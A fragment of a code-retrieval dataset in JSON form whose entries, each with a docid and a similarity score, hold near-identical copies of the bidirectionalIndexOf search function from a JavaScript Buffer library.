buffer\n byteOffset = dir ? 0 : buffer.length - 1;\n } // Normalize byteOffset: negative offsets start from the end of the buffer\n\n\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset;\n\n if (byteOffset >= buffer.length) {\n if (dir) return -1;else byteOffset = buffer.length - 1;\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0;else return -1;\n } // Normalize val\n\n\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding);\n } // Finally, search either indexOf (if dir is true) or lastIndexOf\n\n\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1;\n }\n\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir);\n } else if (typeof val === 'number') {\n val = val & 0xFF; // Search for a byte value [0-255]\n\n if (Buffer.TYPED_ARRAY_SUPPORT && typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset);\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset);\n }\n }\n\n return arrayIndexOf(buffer, [val], byteOffset, encoding, dir);\n }\n\n throw new TypeError('val must be string, number or Buffer');\n}", "title": "" }, { "docid": "18b1a617f21449cbaf3b4971595d22b2", "score": "0.8246316", "text": "function bidirectionalIndexOf(buffer,val,byteOffset,encoding,dir){// Empty buffer means no match\n\tif(buffer.length===0)return-1;// Normalize byteOffset\n\tif(typeof byteOffset==='string'){encoding=byteOffset;byteOffset=0;}else if(byteOffset>0x7fffffff){byteOffset=0x7fffffff;}else if(byteOffset<-0x80000000){byteOffset=-0x80000000;}byteOffset=+byteOffset;// Coerce to Number.\n\tif(isNaN(byteOffset)){// byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n\tbyteOffset=dir?0:buffer.length-1;}// Normalize byteOffset: negative offsets start from the end of the buffer\n\tif(byteOffset<0)byteOffset=buffer.length+byteOffset;if(byteOffset>=buffer.length){if(dir)return-1;else byteOffset=buffer.length-1;}else if(byteOffset<0){if(dir)byteOffset=0;else return-1;}// Normalize val\n\tif(typeof val==='string'){val=Buffer.from(val,encoding);}// Finally, search either indexOf (if dir is true) or lastIndexOf\n\tif(Buffer.isBuffer(val)){// Special case: looking for empty string/buffer always fails\n\tif(val.length===0){return-1;}return arrayIndexOf(buffer,val,byteOffset,encoding,dir);}else if(typeof val==='number'){val=val&0xFF;// Search for a byte value [0-255]\n\tif(Buffer.TYPED_ARRAY_SUPPORT&&typeof Uint8Array.prototype.indexOf==='function'){if(dir){return Uint8Array.prototype.indexOf.call(buffer,val,byteOffset);}else{return Uint8Array.prototype.lastIndexOf.call(buffer,val,byteOffset);}}return arrayIndexOf(buffer,[val],byteOffset,encoding,dir);}throw new TypeError('val must be string, number or Buffer');}", "title": "" }, { "docid": "218b567d27f63322916121c59252539a", "score": "0.82458514", "text": "function bidirectionalIndexOf(buffer,val,byteOffset,encoding,dir){// Empty buffer means no match\n\tif(buffer.length===0)return-1;// Normalize byteOffset\n\tif(typeof byteOffset==='string'){encoding=byteOffset;byteOffset=0;}else if(byteOffset>0x7fffffff){byteOffset=0x7fffffff;}else if(byteOffset<-0x80000000){byteOffset=-0x80000000;}byteOffset=+byteOffset;// Coerce to Number.\n\tif(numberIsNaN(byteOffset)){// byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n\tbyteOffset=dir?0:buffer.length-1;}// Normalize byteOffset: negative offsets start from the end of the buffer\n\tif(byteOffset<0)byteOffset=buffer.length+byteOffset;if(byteOffset>=buffer.length){if(dir)return-1;else byteOffset=buffer.length-1;}else if(byteOffset<0){if(dir)byteOffset=0;else return-1;}// Normalize val\n\tif(typeof val==='string'){val=Buffer.from(val,encoding);}// Finally, search either indexOf (if dir is true) or lastIndexOf\n\tif(Buffer.isBuffer(val)){// Special case: looking for empty string/buffer always fails\n\tif(val.length===0){return-1;}return arrayIndexOf(buffer,val,byteOffset,encoding,dir);}else if(typeof val==='number'){val=val&0xFF;// Search for a byte value [0-255]\n\tif(typeof Uint8Array.prototype.indexOf==='function'){if(dir){return Uint8Array.prototype.indexOf.call(buffer,val,byteOffset);}else{return Uint8Array.prototype.lastIndexOf.call(buffer,val,byteOffset);}}return arrayIndexOf(buffer,[val],byteOffset,encoding,dir);}throw new TypeError('val must be string, number or Buffer');}", "title": "" }, { "docid": "2b3135c25cba81cdae7e74403a6daece", "score": "0.82444566", "text": "function bidirectionalIndexOf(buffer,val,byteOffset,encoding,dir){// Empty buffer means no match\nif(buffer.length===0)return-1;// Normalize byteOffset\nif(typeof byteOffset==='string'){encoding=byteOffset;byteOffset=0;}else if(byteOffset>0x7fffffff){byteOffset=0x7fffffff;}else if(byteOffset<-0x80000000){byteOffset=-0x80000000;}byteOffset=+byteOffset;// Coerce to Number.\nif(isNaN(byteOffset)){// byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\nbyteOffset=dir?0:buffer.length-1;}// Normalize byteOffset: negative offsets start from the end of the buffer\nif(byteOffset<0)byteOffset=buffer.length+byteOffset;if(byteOffset>=buffer.length){if(dir)return-1;else byteOffset=buffer.length-1;}else if(byteOffset<0){if(dir)byteOffset=0;else return-1;}// Normalize val\nif(typeof val==='string'){val=Buffer.from(val,encoding);}// Finally, search either indexOf (if dir is true) or lastIndexOf\nif(Buffer.isBuffer(val)){// Special case: looking for empty string/buffer always fails\nif(val.length===0){return-1;}return arrayIndexOf(buffer,val,byteOffset,encoding,dir);}else if(typeof val==='number'){val=val&0xFF;// Search for a byte value [0-255]\nif(Buffer.TYPED_ARRAY_SUPPORT&&typeof Uint8Array.prototype.indexOf==='function'){if(dir){return Uint8Array.prototype.indexOf.call(buffer,val,byteOffset);}else{return Uint8Array.prototype.lastIndexOf.call(buffer,val,byteOffset);}}return arrayIndexOf(buffer,[val],byteOffset,encoding,dir);}throw new TypeError('val must be string, number or Buffer');}", "title": "" }, { "docid": "2b3135c25cba81cdae7e74403a6daece", "score": "0.82444566", "text": "function bidirectionalIndexOf(buffer,val,byteOffset,encoding,dir){// Empty buffer means no match\nif(buffer.length===0)return-1;// Normalize byteOffset\nif(typeof byteOffset==='string'){encoding=byteOffset;byteOffset=0;}else if(byteOffset>0x7fffffff){byteOffset=0x7fffffff;}else if(byteOffset<-0x80000000){byteOffset=-0x80000000;}byteOffset=+byteOffset;// Coerce to Number.\nif(isNaN(byteOffset)){// byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\nbyteOffset=dir?0:buffer.length-1;}// Normalize byteOffset: negative offsets start from the end of the buffer\nif(byteOffset<0)byteOffset=buffer.length+byteOffset;if(byteOffset>=buffer.length){if(dir)return-1;else byteOffset=buffer.length-1;}else if(byteOffset<0){if(dir)byteOffset=0;else return-1;}// Normalize val\nif(typeof val==='string'){val=Buffer.from(val,encoding);}// Finally, search either indexOf (if dir is true) or lastIndexOf\nif(Buffer.isBuffer(val)){// Special case: looking for empty string/buffer always fails\nif(val.length===0){return-1;}return arrayIndexOf(buffer,val,byteOffset,encoding,dir);}else if(typeof val==='number'){val=val&0xFF;// Search for a byte value [0-255]\nif(Buffer.TYPED_ARRAY_SUPPORT&&typeof Uint8Array.prototype.indexOf==='function'){if(dir){return Uint8Array.prototype.indexOf.call(buffer,val,byteOffset);}else{return Uint8Array.prototype.lastIndexOf.call(buffer,val,byteOffset);}}return arrayIndexOf(buffer,[val],byteOffset,encoding,dir);}throw new TypeError('val must be string, number or Buffer');}", "title": "" }, { "docid": "2b3135c25cba81cdae7e74403a6daece", "score": "0.82444566", "text": "function bidirectionalIndexOf(buffer,val,byteOffset,encoding,dir){// Empty buffer means no match\nif(buffer.length===0)return-1;// Normalize byteOffset\nif(typeof byteOffset==='string'){encoding=byteOffset;byteOffset=0;}else if(byteOffset>0x7fffffff){byteOffset=0x7fffffff;}else if(byteOffset<-0x80000000){byteOffset=-0x80000000;}byteOffset=+byteOffset;// Coerce to Number.\nif(isNaN(byteOffset)){// byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\nbyteOffset=dir?0:buffer.length-1;}// Normalize byteOffset: negative offsets start from the end of the buffer\nif(byteOffset<0)byteOffset=buffer.length+byteOffset;if(byteOffset>=buffer.length){if(dir)return-1;else byteOffset=buffer.length-1;}else if(byteOffset<0){if(dir)byteOffset=0;else return-1;}// Normalize val\nif(typeof val==='string'){val=Buffer.from(val,encoding);}// Finally, search either indexOf (if dir is true) or lastIndexOf\nif(Buffer.isBuffer(val)){// Special case: looking for empty string/buffer always fails\nif(val.length===0){return-1;}return arrayIndexOf(buffer,val,byteOffset,encoding,dir);}else if(typeof val==='number'){val=val&0xFF;// Search for a byte value [0-255]\nif(Buffer.TYPED_ARRAY_SUPPORT&&typeof Uint8Array.prototype.indexOf==='function'){if(dir){return Uint8Array.prototype.indexOf.call(buffer,val,byteOffset);}else{return Uint8Array.prototype.lastIndexOf.call(buffer,val,byteOffset);}}return arrayIndexOf(buffer,[val],byteOffset,encoding,dir);}throw new TypeError('val must be string, number or Buffer');}", "title": "" }, { "docid": "dd34d27291708bb6d4a80086208152bc", "score": "0.82402784", "text": "function bidirectionalIndexOf(buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1; // Normalize byteOffset\n\n if (typeof byteOffset === 'string') {\n encoding = byteOffset;\n byteOffset = 0;\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff;\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000;\n }\n\n byteOffset = +byteOffset; // Coerce to Number.\n\n if (numberIsNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : buffer.length - 1;\n } // Normalize byteOffset: negative offsets start from the end of the buffer\n\n\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset;\n\n if (byteOffset >= buffer.length) {\n if (dir) return -1;else byteOffset = buffer.length - 1;\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0;else return -1;\n } // Normalize val\n\n\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding);\n } // Finally, search either indexOf (if dir is true) or lastIndexOf\n\n\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1;\n }\n\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir);\n } else if (typeof val === 'number') {\n val = val & 0xFF; // Search for a byte value [0-255]\n\n if (typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset);\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset);\n }\n }\n\n return arrayIndexOf(buffer, [val], byteOffset, encoding, dir);\n }\n\n throw new TypeError('val must be string, number or Buffer');\n}", "title": "" }, { "docid": "dd34d27291708bb6d4a80086208152bc", "score": "0.82402784", "text": "function bidirectionalIndexOf(buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1; // Normalize byteOffset\n\n if (typeof byteOffset === 'string') {\n encoding = byteOffset;\n byteOffset = 0;\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff;\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000;\n }\n\n byteOffset = +byteOffset; // Coerce to Number.\n\n if (numberIsNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : buffer.length - 1;\n } // Normalize byteOffset: negative offsets start from the end of the buffer\n\n\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset;\n\n if (byteOffset >= buffer.length) {\n if (dir) return -1;else byteOffset = buffer.length - 1;\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0;else return -1;\n } // Normalize val\n\n\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding);\n } // Finally, search either indexOf (if dir is true) or lastIndexOf\n\n\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1;\n }\n\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir);\n } else if (typeof val === 'number') {\n val = val & 0xFF; // Search for a byte value [0-255]\n\n if (typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset);\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset);\n }\n }\n\n return arrayIndexOf(buffer, [val], byteOffset, encoding, dir);\n }\n\n throw new TypeError('val must be string, number or Buffer');\n}", "title": "" }, { "docid": "967f592f8ec3a5d7d88bcc19ab55f6cd", "score": "0.8223317", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce toClass Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "9e85c6cc20bfc74634c25c2f625c7724", "score": "0.82189393", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset;\n byteOffset = 0;\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff;\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000;\n }\n byteOffset = +byteOffset; // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1);\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset;\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1;\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0;\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding);\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (internalIsBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF; // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if 